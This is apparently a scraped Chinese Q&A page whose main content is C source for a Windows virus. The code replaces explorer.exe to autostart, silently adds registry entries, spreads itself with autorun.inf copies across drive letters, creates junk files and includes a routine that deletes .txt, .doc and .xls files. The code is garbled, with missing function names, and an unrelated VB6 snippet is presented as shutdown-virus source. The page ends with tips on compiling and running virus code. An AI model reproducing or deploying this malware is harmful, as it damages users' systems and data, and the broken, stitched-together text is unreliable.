int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
/*=====================================================================*/
/*
函數:通過explorer自動運行
成功返回0,失敗返回1,2
*/
int autorun_explorer()
{
FILE *input;
if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL)
{
fclose(input);
remove("c:\\windows\\$temp$");
remove("c:\\windows\\system32\\dllcache\\$temp$");
return 1;
}
("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");
rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");
rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32

\\dllcache\\$temp$");
if(("SVCHOST.com","c:\\windows\\explorer.exe")==0 &&

("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)
return 0;
else
return 2;
}
/*=====================================================================*/
/*
函數:添加註冊表項
成功返回0,失敗返回1
*/
int add_reg()
{
FILE *output;
if((output=fopen("$$$$$","w"))!=NULL)
{
fprintf(output,regadd);
fclose(output);
spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
}
}
/*=====================================================================*/
/*
函數:復制病毒 + Autorun.inf自動運行
*/
void _virus()
{
int i,k;
FILE *input,*output;
char *files_svchost[SVCHOST_NUM]=

{"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\syste

m32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};
char temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"};
for(i=0;i<SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM;
}
}
for(i=0;i<SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<24;k++)
{
(files_svchost[i],temp[0]);
if((output=fopen(temp[1],"w"))!=NULL)
{
fprintf(output,"%s",autorun);
fclose(output);
}
temp[0][0]++;
temp[1][0]++;
}
i=SVCHOST_NUM;
}
}
}
/*=====================================================================*/
/*
函數:製造垃圾文件
*/
void make_rubbish()
{
int i;
FILE *output;
srand(0);
for(i=0;i<RUBBISH_NUM;i++)
{
int n;
char s[30];
n=rand();
sprintf(s,"C:\\DESTORY_感染_%d",n);
if((output=fopen(s,"w"))!=NULL)
{
fprintf(output,"%ld%s",n*n,s);
fclose(output);
}
}
}
/*=====================================================================*/
/*
函數:刪除文件
*/
void remove_files()
{
long done;
int i;
struct _finddata_t ffblk;
char *remove_files[3]={"*.txt","*.doc","*.xls"};
for(i=0;i<3;i++)
{
if(_findfirst(remove_files[i],&ffblk)==-1) continue;
while(!done)
{
remove(ffblk.name);
_findnext(done,&ffblk);
}
_findclose(done);
}
}
/*=====================================================================*/
/*
主程序
使用DEV-CPP 32位C工程 實現.C程序脫離命令行界面,於後台執行
*/
int main(int argc,char **argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
autorun_explorer();
spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
next1:
add_reg();
_virus();
make_rubbish();
/* remove_files(); */
spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);
return 0;
}

其他的恐怕只能告訴你網址了
比如黑客聯盟的http://www.chinahacker.com/

參考資料: http://hi..com/wubeip111/blog/item/3f63e20ad515cd1d95ca6bd2.html

7. 病毒代碼原理,怎樣製造病毒代碼。求病毒代碼

蠕蟲也是一種病毒,因此具有病毒的共同特徵。一般的病毒是需要的寄生的,它可以通過自己指令的執行,將自己的指令代碼寫到其他程序的體內,而被感染的文件就被稱為」宿主」,例如,windows下可執行文件的格式為pe格式(Portable Executable),當需要感染pe文件時,在宿主程序中,建立一個新節,將病毒代碼寫到新節中,修改的程序入口點等,這樣,宿主程序執行的時候,就可以先執行病毒程序,病毒程序運行完之後,在把控制權交給宿主原來的程序指令。可見,病毒主要是感染文件,當然也還有像DIRII這種鏈接型病毒,還有引導區病毒。引導區病毒他是感染磁碟的引導區,如果是軟盤被感染,這張軟盤用在其他機器上後,同樣也會感染其他機器,所以傳播方式也是用軟盤等方式。

8. vb6.0關機病毒源碼


Dim xs As Double, ys As Double
If Image1.Stretch = True Then '如果圖像框控制項自適應圖像大小屬性為真
Dim imgW&, imgH&, XX&
imgW = CLng(Me.ScaleX(Image1.Picture.Width, vbMillimeters) / 100)
'將圖像框里圖片寬度轉為毫米 然後除以100賦值給變數imgw
imgH = CLng(Me.ScaleY(Image1.Picture.Height, vbMillimeters) / 100)
'同上 將高度轉換 以下代碼 四則運算沒什麼好解釋的了
xs = Image1.Width / imgW
x = x * xs
w = w * xs
ys = Image1.Height / imgH
y = y * ys
h = h * ys
End If

9. 我有病毒的源代碼,請問如何執行病毒,求大師

使用相應的編譯器打開
源代碼的文件
或者是把源碼輸入進去
然後編譯成exe
就可以運行了

閱讀全文

與怎樣控制病毒源碼相關的資料

熱點內容
2b2t伺服器怎麼獲得許可權 瀏覽:815
c語言javaphp 瀏覽:804
程序員技術不分高低嗎 瀏覽:619
dos不是內部或外部命令 瀏覽:708
PC機與單片機通訊 瀏覽:675
二級加密圖 瀏覽:113
壓縮機異音影響製冷嗎 瀏覽:711
德斯蘭壓縮機 瀏覽:490
程序員太極拳視頻 瀏覽:531
網上購買加密鎖 瀏覽:825
安卓為什麼軟體要隱私 瀏覽:83
虛擬主機管理源碼 瀏覽:811
java圖形圖像 瀏覽:230
單片機輸出口電平 瀏覽:486
java配置資料庫連接 瀏覽:479
java多態的體現 瀏覽:554
java的split分隔符 瀏覽:128
跪著敲代碼的程序員 瀏覽:239
web和php有什麼區別 瀏覽:120
加密的電梯卡怎麼復制蘋果手機 瀏覽:219